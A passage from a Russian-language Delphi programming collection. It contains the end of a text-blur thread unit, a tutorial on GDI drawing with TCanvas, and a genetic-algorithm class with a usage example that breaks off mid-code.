//SlowThread.Priority:=tpLowest;
//SlowThread.Priority:=tpTimeCritical;
SlowThread.Resume;
end;
constructor TBlurThread.Create(Sender: TLabel; Fade_width: integer; Fade_X:
Integer; Fade_Y: Integer; Fade_color: TColor);
begin
Temp_Bitmap := TBitmap.Create;
Temp_Bitmap.Canvas.Font := Sender.Font;
FadeLabel := Sender;
F_width := Fade_width;
F_X := Fade_X;
F_Y := Fade_Y;
F_color := Fade_color;
inherited Create(True);
end;
destructor TBlurThread.Destroy;
begin
Temp_Bitmap.Free;
inherited Destroy;
end;
procedure TBlurThread.ShowBlur;
begin
FadeLabel.Canvas.Draw(text_position + F_X, F_Y, Temp_Bitmap);
FadeLabel.Canvas.TextOut(text_position, 0, FadeLabel.Caption);
end;
procedure TBlurThread.SetSize;
begin
if FadeLabel.Width < (Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
+ F_X {add_width}) then
begin
FadeLabel.Width := Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) + F_width
+ F_X {add_width};
FadeLabel.Tag := 2;
end
else
FadeLabel.Tag := 0;
if FadeLabel.Height < (Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
F_width + F_Y {add_height}) then
begin
FadeLabel.Height := Temp_Bitmap.Canvas.TextHeight(FadeLabel.Caption) +
F_width + F_Y {add_height};
FadeLabel.Tag := 1;
end
else if FadeLabel.Tag <> 2 then
FadeLabel.Tag := 0;
end;
{ TBlurThread }
procedure TBlurThread.Execute;
begin
{ Place thread code here }
Synchronize(SetSize);
if FadeLabel.Tag = 0 then
begin
Temp_Bitmap.Width := FadeLabel.Width;
Temp_Bitmap.Height := FadeLabel.Height;
Temp_Bitmap.Canvas.Brush.Color := FadeLabel.Color;
Temp_Bitmap.Canvas.FillRect(FadeLabel.ClientRect);
Temp_Bitmap.Canvas.Font.Color := F_color; //clBlack
if FadeLabel.Alignment = taRightJustify then
text_position := FadeLabel.Width -
Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X {add_width}
else if FadeLabel.Alignment = taCenter then
text_position := (FadeLabel.Width -
Temp_Bitmap.Canvas.TextWidth(FadeLabel.Caption) - F_width - F_X
{add_width}) div 2
else
text_position := 0;
Temp_Bitmap.Canvas.TextOut(0, 0, FadeLabel.Caption);
Temp_Bitmap.PixelFormat := pf24Bit;
GBlur(Temp_Bitmap, F_width);
//Temp_Bitmap.SaveToFile('a.bmp');
Synchronize(ShowBlur);
end;
end;
end.
|
GDI - графика в Delphi.
Автор: Alistair Keys Жаргон GDI. GDI расшифровывается как Graphics Device Interface, и представляет собой интерфейс, который Windows использует для рисования 2D графики. Также это самый медленный способ отображения графики из существующих, однако самый простой для понимания основ. Итак, для начала, поговорим об основных понятиях и терминах в GDI. Начнём с того, что GDI обычно не используют для создания крутых графических эффектов, для этого есть DirectX, OpenGL, или любые графические библиотеки (такие как: DelphiX, FastLib, DIBUltra, Graphics32...). Однако, для создание простых эффектов с минимальными усилиями GDI вполне сгодится. С GDI тесно связана ещё одна аббревиатура - DC ("Device Context" - контекст устройства). Это то, на чём мы рисуем, и в Delphi контекст устройства представлен как TCanvas. Идея контекста устройства заключается в том, что это универсальное устройство вывода, поэтому можно использовать одинаковые функции как для экрана, так и для принтера. Все графические функции в Delphi являются надстройками над стандартными GDI функциями Windows. Позже мы поговорим об этих функциях.А теперь самое время приступить к рассмотрению того, как устроен GDI. Ниже, в таблице, представлены некоторые важные классы:
| ИМЯ | ОПИСАНИЕ |
| Pen | Используется для рисования простых линий. Обычно применяется для функции LineTo или при рисовании рамки для определённой фигуры (например для функции Rectangle). |
| Brush | Кисть используется для заполнения области определённым цветом. Применяется в функциях Rectangle, FillRect или FloodFill. |
| Font | Используется для задания шрифта, которым будет нарисован текст. Можно указать имя шрифта, размер и т.д. |
| Region | Позволяет задать регион (замкнутое пространство). Регионом может быть круг, квадрат или произвольная фигура. Позволяет так же делать дырки в фигурах. |
Ниже приведены две функции, которые используются для рисования линий и обе принадлежат TCanvas:
| ИМЯ | ОПИСАНИЕ | ПРИМЕР |
| MoveTo | Перемещает точку начала рисования линии в указанные координаты x и y | Canvas.MoveTo(50, 100); |
| LineTo | Рисует линию начиная с текущей позиции (см. MoveTo) до указанных координат x и y. | Canvas.LineTo(50, 100); |
Взглянем на простой пример беспорядочного рисования разноцветных линий:
procedure TForm1.FormCreate(Sender: TObject);
begin
// инициализируем генератор
// случайных чисел
Randomize;
end;
const
NUM_LINES = 2000;
procedure TForm1.DrawLines;
var
i: Integer;
begin
for i := 0 to NUM_LINES - 1 do
begin
Canvas.Pen.Color :=
RGB(Random(256),
Random(256),
Random(256));
Canvas.LineTo
(Random(ClientWidth),
Random(ClientHeight));
end;
end;
|
Процедура DrawLines вызывается из обработчика кнопки OnClick. Количество линий задаётся в константе NUM_LINES. Между прочим, функция RGB, составляет цвет каждой линии из трёх основных составляющих: красного, зелёного и синего (значения от 0 до 255) и возвращает нам цвет в виде TColor. О цветах поговорим немного позже, а вот так выглядит нарисованный пейзаж:

Для рисования фигур, в TCanvas предусмотрены следующие функции:
| ИМЯ | ОПИСАНИЕ | ПРИМЕР |
| Ellipse | Рисует элипс, вписанный в невидимый квадрат с координатами верхнего левого угла и правого нижнего. Если координаты х и y у углов будут совпадать, то получится круг. | Canvas.Ellipse(0,0,50,50); |
| FillRect | Заполняет прямоугольник цветом текущей кисти (brush), но никак не за пределами него. | Canvas.FillRect( Bounds(0,0,100,100)); |
| FloodFill | Заполняет данную область цветом текущей кисти, до тех пор пока не будет достигнут край. | Canvas.FloodFill(10, 10, clBlack, fsBorder); |
| Rectangle | Рисует прямоугольник (или квадрат), заполненный цветом текущей кисти и обрамлённый цветом текущего пера | Canvas.Rectangle( Bounds(20, 20, 50, 50)); |
| RoundRect | Тоже, что и Rectangle, но с загруглёнными углами. | Canvas.RoundRect( 20, 20, 50, 50, 3, 3); |
Ещё есть очень нужная функция TextOut, которая позволяет рисовать текст, используя шрифт, заданный в канвасе:
| ИМЯ | ОПИСАНИЕ | ПРИМЕР |
| TextOut | Рисует данную строку на канвасе начиная с координат (x,y) - фон текста заполняется текущим цветом кисти. | Canvas.TextOut(10, 10, 'Some text'); |
Ниже представлен пример, который рисует случайным образом различные фигуры:
const
NUM_SHAPES = 200;
procedure TForm1.DrawShapes;
var
i, ShapeLeft, ShapeTop: Integer;
begin
for i := 0 to NUM_SHAPES - 1 do
begin
Canvas.Brush.Color :=
RGB(Random(256),
Random(256),
Random(256));
ShapeLeft := Random(ClientWidth);
ShapeTop := Random(ClientHeight);
// теперь, случайным образом, решаем что рисовать
case Random(3) of
0: Canvas.Rectangle(ShapeLeft,
ShapeTop,
ShapeLeft + Random(50),
ShapeTop + Random(50));
1: Canvas.Ellipse(ShapeLeft,
ShapeTop,
ShapeLeft + Random(50),
ShapeTop + Random(50));
2:
begin
Canvas.Font.Size := 10 + Random(7); // от 10 до 16
Canvas.TextOut(ShapeLeft, ShapeTop, 'Some text');
end;
end;
end;
end;
|

Для примера, поместите следующий код в проект:
procedure TForm1.DrawSomeText; begin Canvas.TextOut(10, 10, 'Some text'); end; |
Ради интереса можно взглянуть на таблицу, в которой представлены примеры вызовов некоторых функций из VCL и их аналогов из Windows API.
| VCL | WINDOWS API |
| Canvas.TextOut(x,y,myString); | TextOut(Canvas.Handle, x, y, PChar(myString), Length(String)); |
| Canvas.FloodFill(X, Y, Color,fsBorder); | ExtFloodFill(Canvas.Handle, x, y, YourColour, FLOODFILLBORDER); |
| Canvas.LineTo(x,y); | LineTo(Canvas.Handle, x, y); |
| Canvas.MoveTo(x,y); | MoveToEx(Canvas.Handle, x, y, nil); |
Битмапы можно рисовать не только на форме, но и по всему экрану. Может это и может показаться немного странным, но иногда это бывает полезно, особенно при создании скринсейвера. Однако, сначала нам необходимо разобраться с тем, как работать с битмапами. Вот небольшой пример:
procedure Form1.DrawBitmap(const Filename: string; const x, y: Integer);
var
Bmp: TBitmap;
begin
// Сперва убедимся, что файл существует!
if not FileExists(Filename) then
begin
ShowMessage('The bitmap ' + Filename + ' was not found!');
Exit;
end;
Bmp := TBitmap.Create;
try
Bmp.LoadFromFile(Filename);
Canvas.Draw(x, y, Bmp);
finally
Bmp.Free;
end;
end;
|
Все эти функции являются методами TCanvas.
| ИМЯ | ОПИСАНИЕ | ПРИМЕР ИСПОЛЬЗОВАНИЯ |
| Draw | Рисует TGraphic на канвасе так как он есть, не растягивая. | Canvas.Draw(5,10,MyGraphic); |
| StrechDraw | Рисует TGraphic на канвасе, подгоняя (растягивая) его под заданную область. | Canvas.StretchDraw( Bounds(0,0,32,32), MyGraphic); |
| CopyRect | Копирует часть TCanvas-а в другой, при необходимости растягивая его. | Canvas.CopyRect( Bounds(0,0,32,32), MyBmp.Canvas, Bounds(0, 0, 640, 480)); |
TCanvas.Draw является обёрткой для API функции BitBlt:
function BitBlt( hdcDest: HDC; // дескриптор конечного контекста устройства nXDest, // коорд. x верхнего левого угла конечного прямоугольника nYDest, // коорд. y верхнего левого угла конечного прямоугольника nWidth, // ширина конечного прямоугольника nHeight: Integer; // высота конечного прямоугольника hdcSrc: HDC; // дескриптор исходного контекста устройства nXSrc, // коорд. x верхнего левого угла исходного прямоугольника nYSrc: Integer; // коорд. y верхнего левого угла исходного прямоугольника dwRop: DWORD // код растровой операции ): Boolean; |
Продолжение следует ...
Генетические алгоритмы.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Генетические алгоритмы
Класс, реализующий генетический алгоритм.
Зависимости: Classes, SysUtils, Windows, Math
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: Mystic
Дата: 25 апреля 2002 г.
***************************************************** }
unit Genes;
interface
uses {Fuzzy,} Classes, SysUtils, Windows, Math;
type
TGeneAlgorithm = class;
TExtendedArray = array of Extended;
TEstimateEvent = procedure(Sender: TObject; const X: TExtendedArray; var Y:
Extended) of object;
TIterationEvent = procedure(Sender: TObject; Iteration: Integer);
TBestChangeEvent = procedure(Sender: TObject; BestEstimate: Extended);
EGeneError = class(Exception)
end;
TCardinalArray = array of Cardinal;
TGeneRecord = record
Bits: TCardinalArray;
Values: TExtendedArray;
Estimate: Extended;
end;
TGeneRecords = array of TGeneRecord;
TSolutionThread = class(TThread)
private
FOwner: TGeneAlgorithm;
protected
procedure Execute; override;
property Owner: TGeneAlgorithm read FOwner;
public
constructor Create(AOwner: TGeneAlgorithm);
end;
TGeneState = (gsExecute, gsSuspend, gsTune);
TGeneAlgorithm = class
private
FData: array of TGeneRecord; // Algorithm data
FLock: TRTLCriticalSection;
FLowValues: TExtendedArray;
FHighValues: TExtendedArray;
FSolutionThread: TSolutionThread;
FMutation: Extended;
FInversion: Extended;
FCrossover: Extended;
FMaxPopulation: Integer;
FBitPerNumber: Integer;
FMinPopulation: Integer;
FDimCount: Integer;
FOnBestChange: TBestChangeEvent;
FOnEstimate: TEstimateEvent;
FOnIteration: TIterationEvent;
FIteration: Integer;
// FBestEstimate: Extended;
FState: TGeneState;
BitSize: Integer;
function GetBestEstimate: Extended;
function GetHighValues(I: Integer): Extended;
function GetIteration: Integer;
function GetLowValues(I: Integer): Extended;
procedure SetBitPerNumber(const Value: Integer);
procedure SetCrossover(const Value: Extended);
procedure SetDimCount(const Value: Integer);
procedure SetHighValues(I: Integer; const Value: Extended);
procedure SetInversion(const Value: Extended);
procedure SetLowValues(I: Integer; const Value: Extended);
procedure SetMaxPopulation(const Value: Integer);
procedure SetMinPopulation(const Value: Integer);
procedure SetMutation(const Value: Extended);
procedure SetOnBestChange(const Value: TBestChangeEvent);
procedure SetOnEstimate(const Value: TEstimateEvent);
procedure SetOnIteration(const Value: TIterationEvent);
procedure Lock;
procedure Unlock;
function GetBestX(I: Integer): Extended;
function GetState: TGeneState;
procedure DoCrossover(N: Integer);
procedure DoMutation(N: Integer);
procedure DoInversion(N: Integer);
procedure EstimatePopulation(StartIndex: Integer);
procedure SortPopulation;
procedure MakeChild;
public
// Creation & destroying
constructor Create;
destructor Destroy; override;
// Running / stopping
procedure Run;
procedure Abort;
procedure Suspend;
procedure Resume;
// Saving / opening
procedure LoadFromStream(S: TStream);
procedure SaveToStream(S: TStream);
// Algorithm param
property BitPerNumber: Integer read FBitPerNumber write SetBitPerNumber;
property MaxPopulation: Integer read FMaxPopulation write SetMaxPopulation;
property MinPopulation: Integer read FMinPopulation write SetMinPopulation;
property Crossover: Extended read FCrossover write SetCrossover;
property Mutation: Extended read FMutation write SetMutation;
property Inversion: Extended read FInversion write SetInversion;
property DimCount: Integer read FDimCount write SetDimCount;
property LowValues[I: Integer]: Extended read GetLowValues write
SetLowValues;
property HighValues[I: Integer]: Extended read GetHighValues write
SetHighValues;
// Info property
property Iteration: Integer read GetIteration;
property BestX[I: Integer]: Extended read GetBestX;
property BestEstimate: Extended read GetBestEstimate;
property State: TGeneState read GetState;
// Events
property OnEstimate: TEstimateEvent read FOnEstimate write SetOnEstimate;
property OnIteration: TIterationEvent read FOnIteration write
SetOnIteration;
property OnBestChange: TBestChangeEvent read FOnBestChange write
SetOnBestChange;
end;
implementation
resourcestring
SCannotSetParam = 'Невозможно установить параметр %s в состоянии %s';
SCannotGetParam = 'Невозможно прочитать параметр %s в состоянии %s';
SInvalidParam = 'Параметр %s не может быть %s (%d).';
SNonPositive = 'отрицательным или нулевым';
SInvalidProbality = 'вероятность %s должна быть в диапазоне 0..1 (%f).';
SLess2 = 'меньше двух';
SEmpty =
'Неправильный индекс при обращении к %s (%d) при нулевом количества элементов.';
SInvalidIndex =
'Неправильный индекс при обращении к %s (%d). Индекс должен лежать в диапазоне от %d до %d';
SNonEstimate = 'Не задана функция оценки.';
const
SState: array[TGeneState] of string = (
'настройки параметров алгоритма',
'работы алгоритма',
'остановки алгоритма');
{ TGeneAlgorithm }
procedure TGeneAlgorithm.Abort;
var
I: Integer;
begin
if FState = gsExecute then
begin
FSolutionThread.Terminate;
FSolutionThread.WaitFor;
end;
Lock;
try
for I := 0 to Length(FData) - 1 do
begin
SetLength(FData[I].Bits, 0);
SetLength(FData[I].Values, 0);
end;
SetLength(FData, 0);
FState := gsTune;
finally
Unlock;
end;
end;
constructor TGeneAlgorithm.Create;
begin
InitializeCriticalSection(FLock);
FBitPerNumber := 8;
FMinPopulation := 5000;
FMaxPopulation := 10000;
FMutation := 0.1;
FCrossover := 0.89;
FInversion := 0.01;
FDimCount := 0;
FState := gsTune;
end;
destructor TGeneAlgorithm.Destroy;
begin
Abort;
DeleteCriticalSection(FLock);
SetLength(FLowValues, 0);
SetLength(FHighValues, 0);
inherited;
end;
procedure TGeneAlgorithm.DoCrossover(N: Integer);
var
I: Integer;
Parent1, Parent2: Integer;
Bit, ByteCount: Integer;
BitPos: Byte;
Mask: Integer;
begin
Parent1 := Random(FMinPopulation);
Parent2 := Random(FMinPopulation);
Bit := Random(FDimCount * FBitPerNumber - 1);
ByteCount := Bit div 32;
for I := 0 to ByteCount - 1 do
FData[N].Bits[I] := FData[Parent1].Bits[I];
for I := ByteCount + 1 to BitSize - 1 do
FData[N].Bits[I] := FData[Parent2].Bits[I];
BitPos := Bit - 32 * ByteCount;
asm
MOV CL, BitPos
MOV EAX, -1
SHL EAX, CL
MOV Mask, EAX
end;
FData[N].Bits[ByteCount] :=
(FData[Parent1].Bits[ByteCount] and not Mask) or
(FData[Parent2].Bits[ByteCount] and Mask);
end;
procedure TGeneAlgorithm.DoInversion(N: Integer);
function GetBit(Addr: Pointer; No: Integer): Byte; assembler;
asm
MOV EAX, Addr
MOV ECX, No
BT [EAX], ECX
SBB EAX, EAX
AND EAX, 1
end;
procedure SetBit(Addr: Pointer; No: Integer; Value: Byte); assembler;
asm
MOV EAX, Addr
OR Value,Value
JZ @@1
BTS [EAX], No
RET
@@1:
BTR [EAX], No
RET
end;
var
Parent, Bit, I: Integer;
B: Byte;
begin
Parent := Random(FMinPopulation);
Bit := Random(FDimCount * FBitPerNumber - 1);
FData[N].Bits := FData[Parent].Bits;
repeat
B := GetBit(FData[N].Bits, 0);
for I := 0 to FDimCount * FBitPerNumber - 2 do
SetBit(FData[N].Bits, I, GetBit(FData[N].Bits, I + 1));
SetBit(FData[N].Bits, FDimCount * FBitPerNumber - 1, B);
if Bit = 0 then
Break;
Bit := Bit - 1;
until False;
end;
procedure TGeneAlgorithm.DoMutation(N: Integer);
var
Parent: Integer;
Bit, BitPos, ByteCount: Integer;
Mask: Cardinal;
begin
Parent := Random(FMinPopulation);
Bit := Random(FDimCount * FBitPerNumber);
ByteCount := Bit div 32;
BitPos := Bit - 32 * ByteCount;
Mask := 1 shl BitPos;
FData[N].Bits := FData[Parent].Bits;
FData[N].Bits[ByteCount] := FData[N].Bits[ByteCount] xor Mask;
end;
procedure TGeneAlgorithm.EstimatePopulation(StartIndex: Integer);
var
I, J, K, Index: Integer;
P, Q, Y: Extended;
MaxWeight, Weight: Extended;
Addr: Pointer;
GrayBit, BinBit: Cardinal;
begin
MaxWeight := Power(2, FBitPerNumber);
for I := StartIndex to Length(FData) - 1 do
begin
Index := 0;
Addr := FData[I].Bits;
for J := 0 to FDimCount - 1 do
begin
Weight := 0.5 * MaxWeight;
P := 0.0;
BinBit := 0;
for K := 0 to FBitPerNumber - 1 do
begin
asm
MOV EAX, Addr
MOV ECX, Index
BT [EAX], ECX
SBB EAX, EAX
AND EAX, 1
MOV GrayBit, EAX
INC Index
end;
BinBit := BinBit xor GrayBit;
if BinBit = 1 then
P := P + Weight;
Weight := 0.5 * Weight;
end;
P := P / MaxWeight;
Q := 1 - P;
FData[I].Values[J] := P * FHighValues[J] + Q * FLowValues[J];
end;
Y := 0;
FOnEstimate(Self, FData[I].Values, Y);
FData[I].Estimate := Y;
end;
end;
function TGeneAlgorithm.GetBestEstimate: Extended;
begin
Lock;
try
Result := 0.0; //Kill warning
if FState = gsTune then
raise EGeneError.CreateFmt(SCannotGetParam, ['BestEstimate',
SState[FState]]);
Result := FData[0].Estimate;
finally
Unlock;
end;
end;
function TGeneAlgorithm.GetBestX(I: Integer): Extended;
begin
Lock;
try
Result := 0.0; // Kill warning
if FState = gsTune then
raise EGeneError.CreateFmt(SCannotGetParam, ['BestX', SState[FState]]);
if (FDimCount = 0) then
raise EGeneError.CreateFmt(SEmpty, ['BestX', I]);
if (I < 0) or (I >= FDimCount) then
raise EGeneError.CreateFmt(SInvalidIndex, ['BestX', I, 0, DimCount]);
Result := FData[0].Values[I];
finally
Unlock;
end;
end;
function TGeneAlgorithm.GetHighValues(I: Integer): Extended;
begin
Lock;
try
Result := 0.0; // Kill warning
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotGetParam, ['HighValues',
SState[FState]]);
if (FDimCount = 0) then
raise EGeneError.CreateFmt(SEmpty, ['HighValues', I]);
if (I < 0) or (I >= FDimCount) then
raise EGeneError.CreateFmt(SInvalidIndex, ['HighValues', I, 0, DimCount]);
Result := FHighValues[I];
finally
Unlock;
end;
end;
function TGeneAlgorithm.GetIteration: Integer;
begin
Lock;
try
Result := 0; // Kill warning
if FState = gsTune then
raise EGeneError.CreateFmt(SCannotGetParam, ['Iteration',
SState[FState]]);
Result := FIteration;
finally
Unlock;
end;
end;
function TGeneAlgorithm.GetLowValues(I: Integer): Extended;
begin
Lock;
try
Result := 0.0; // Kill warning
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotGetParam, ['LowValues',
SState[FState]]);
if (FDimCount = 0) then
raise EGeneError.CreateFmt(SEmpty, ['LowValues', I]);
if (I < 0) or (I >= FDimCount) then
raise EGeneError.CreateFmt(SInvalidIndex, ['LowValues', I, 0, DimCount]);
Result := FLowValues[I];
finally
Unlock;
end;
end;
function TGeneAlgorithm.GetState: TGeneState;
begin
Lock;
try
Result := FState;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.LoadFromStream(S: TStream);
begin
end;
procedure TGeneAlgorithm.Lock;
begin
EnterCriticalSection(FLock);
end;
procedure TGeneAlgorithm.MakeChild;
var
I: Integer;
RandomValue: Extended;
begin
for I := FMinPopulation to FMaxPopulation - 1 do
begin
RandomValue := Random;
if RandomValue < FCrossover then
DoCrossover(I)
else if RandomValue < FCrossover + FMutation then
DoMutation(I)
else
DoInversion(I);
end;
end;
procedure TGeneAlgorithm.Resume;
begin
if FState <> gsSuspend then
raise EGeneError.Create('Прежде чем возобновить, надо начать!');
FSolutionThread.Create(Self);
FState := gsExecute;
end;
procedure TGeneAlgorithm.Run;
var
I, J: Integer;
b1, b2: Cardinal;
begin
Lock;
try
if not Assigned(FOnEstimate) then
raise EGeneError.Create(SNonEstimate);
Abort;
try
// Getting memory
SetLength(FData, FMaxPopulation);
for I := 0 to Length(FData) - 1 do
begin
FData[I].Values := nil;
FData[I].bits := nil;
end;
BitSize := FDimCount * FBitPerNumber + 31;
BitSize := BitSize and not 31;
BitSize := BitSize div 32;
for I := 0 to Length(FData) - 1 do
begin
SetLength(FData[I].Values, DimCount);
SetLength(FData[I].Bits, BitSize);
end;
// Initializing Population
for I := 0 to Length(FData) - 1 do
begin
for J := 0 to BitSize - 1 do
begin
b1 := Random(35536);
b2 := Random(35536);
FData[I].Bits[J] := b1 shl 16 + b2;
end;
end;
EstimatePopulation(0);
SortPopulation;
FIteration := 0;
FState := gsExecute;
FSolutionThread := TSolutionThread.Create(Self);
except
Abort;
end;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SaveToStream(S: TStream);
begin
end;
procedure TGeneAlgorithm.SetBitPerNumber(const Value: Integer);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['BitPerNumber',
SState[FState]]);
if Value <= 0 then
raise EGeneError.CreateFmt(SInvalidParam, ['BitPerNumber', SNonPositive,
Value]);
FBitPerNumber := Value;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetCrossover(const Value: Extended);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
SState[FState]]);
if (Value < 0) or (Value > 1) then
raise EGeneError.CreateFmt(SInvalidProbality, ['кроссовера', Value]);
FCrossover := Value;
if FCrossover + FMutation > 1.0 then
begin
FMutation := 1.0 - FCrossover;
FInversion := 0.0;
end
else
begin
FInversion := 1.0 - FMutation - FCrossover;
end;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetDimCount(const Value: Integer);
var
I: Integer;
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['DimCount', SState[FState]]);
if FDimCount = Value then
Exit;
if Value <= 0 then
raise EGeneError.CreateFmt(SInvalidParam, ['DimCount', SNonPositive,
Value]);
SetLength(FLowValues, Value);
SetLength(FHighValues, Value);
for I := FDimCount to Value - 1 do
begin
FLowValues[I] := 0.0;
FHighValues[I] := 1.0;
end;
FDimCount := Value;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetHighValues(I: Integer; const Value: Extended);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['HighValues',
SState[FState]]);
if (FDimCount = 0) then
raise EGeneError.CreateFmt(SEmpty, ['HighValues', Value]);
if (I < 0) or (I >= FDimCount) then
raise EGeneError.CreateFmt(SInvalidIndex, ['HighValues', Value, 0,
DimCount]);
FHighValues[I] := Value;
if FLowValues[I] > FHighValues[I] then
FLowValues[I] := FHighValues[I];
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetInversion(const Value: Extended);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
SState[FState]]);
if (Value < 0) or (Value > 1) then
raise EGeneError.CreateFmt(SInvalidProbality, ['инверсии', Value]);
FInversion := Value;
if FCrossover + FInversion > 1.0 then
begin
FCrossover := 1.0 - FInversion;
FMutation := 0.0;
end
else
begin
FMutation := 1.0 - FInversion - FCrossover;
end;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetLowValues(I: Integer; const Value: Extended);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['LowValues',
SState[FState]]);
if (FDimCount = 0) then
raise EGeneError.CreateFmt(SEmpty, ['LowValues', Value]);
if (I < 0) or (I >= FDimCount) then
raise EGeneError.CreateFmt(SInvalidIndex, ['LowValues', Value, 0,
DimCount]);
FLowValues[I] := Value;
if FHighValues[I] < FLowValues[I] then
FHighValues[I] := FLowValues[I];
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetMaxPopulation(const Value: Integer);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['MaxPopulation',
SState[FState]]);
if Value < 2 then
raise EGeneError.CreateFmt(SInvalidParam, ['MaxPopulation', SLess2,
Value]);
FMaxPopulation := Value;
if FMinPopulation >= FMaxPopulation then
FMinPopulation := FMaxPopulation - 1;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetMinPopulation(const Value: Integer);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['MinPopulation',
SState[FState]]);
if Value <= 0 then
raise EGeneError.CreateFmt(SInvalidParam, ['MinPopulation', SNonPositive,
Value]);
FMinPopulation := Value;
if FMinPopulation >= FMaxPopulation then
FMaxPopulation := FMinPopulation + 1;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetMutation(const Value: Extended);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['Crossover',
SState[FState]]);
if (Value < 0) or (Value > 1) then
raise EGeneError.CreateFmt(SInvalidProbality, ['мутации', Value]);
FMutation := Value;
if FCrossover + FMutation > 1.0 then
begin
FCrossover := 1.0 - FMutation;
FInversion := 0.0;
end
else
begin
FInversion := 1.0 - FMutation - FCrossover;
end;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetOnBestChange(const Value: TBestChangeEvent);
begin
Lock;
try
FOnBestChange := Value;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetOnEstimate(const Value: TEstimateEvent);
begin
Lock;
try
if FState <> gsTune then
raise EGeneError.CreateFmt(SCannotSetParam, ['OnEstimate',
SState[FState]]);
FOnEstimate := Value;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SetOnIteration(const Value: TIterationEvent);
begin
Lock;
try
FOnIteration := Value;
finally
Unlock;
end;
end;
procedure TGeneAlgorithm.SortPopulation;
procedure QuickSort(L, R: Integer);
var
I, J: Integer;
P: Extended;
T: TGeneRecord;
begin
repeat
I := L;
J := R;
P := FData[(L + R) shr 1].Estimate;
repeat
while FData[I].Estimate > P do
Inc(I);
while FData[J].Estimate < P do
Dec(J);
if I <= J then
begin
if (I = 0) or (J = 0) then
Lock;
try
T := FData[I];
FData[I] := FData[J];
FData[J] := T;
finally
if (I = 0) or (J = 0) then
UnLock;
end;
Inc(I);
Dec(J);
end;
until I > J;
if L < J then
QuickSort(L, J);
L := I;
until I >= R;
end;
begin
QuickSort(0, Length(FData) - 1);
end;
procedure TGeneAlgorithm.Suspend;
begin
if FState <> gsExecute then
raise EGeneError.Create('Прежде чем остановить, надо запустить!');
FSolutionThread.Terminate;
// FSolutionThread.WaitFor;
FState := gsSuspend;
end;
procedure TGeneAlgorithm.Unlock;
begin
LeaveCriticalSection(FLock);
end;
{ TSolutionThread }
constructor TSolutionThread.Create(AOwner: TGeneAlgorithm);
begin
FOwner := AOwner;
FreeOnTerminate := True;
inherited Create(False);
end;
procedure TSolutionThread.Execute;
begin
repeat
Owner.MakeChild;
Owner.EstimatePopulation(Owner.FMinPopulation);
Owner.SortPopulation;
Inc(Owner.FIteration);
until Terminated;
Sleep(10);
end;
end.
Пример использования:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Genes, ExtCtrls, Grids;
type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Edit4: TEdit;
Button4: TButton;
Button5: TButton;
Timer1: TTimer;
Button7: TButton;
Label1: TLabel;
Grid: TStringGrid;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
procedure Refresh;
procedure GeneEstimate(Sender: TObject; const X: TExtendedArray; var Y:
Extended);
public
FGene: TGeneAlgorithm;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
DecimalSeparator := '.';
FGene := TGeneAlgorithm.Create;
Refresh;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
FGene.Free;
end;
procedure TForm1.Refresh;
begin
Edit1.Text := FloaTtoStr(FGene.Crossover);
Edit2.Text := FloatToStr(FGene.Mutation);
Edit3.Text := FloatToStr(FGene.Inversion);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
FGene.Crossover := StrTofloat(Edit1.Text);
Refresh;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
FGene.Mutation := StrTofloat(Edit2.Text);
Refresh;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
FGene.Inversion := StrTofloat(Edit3.Text);
Refresh;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
FGene.BitPerNumber := StrToInt(Edit4.Text);
Edit4.Text := IntToStr(FGene.BitPerNumber);
end;
procedure TForm1.Button5Click(Sender: TObject);
var
I: Integer;
begin
Randomize;
FGene.DimCount := 5;
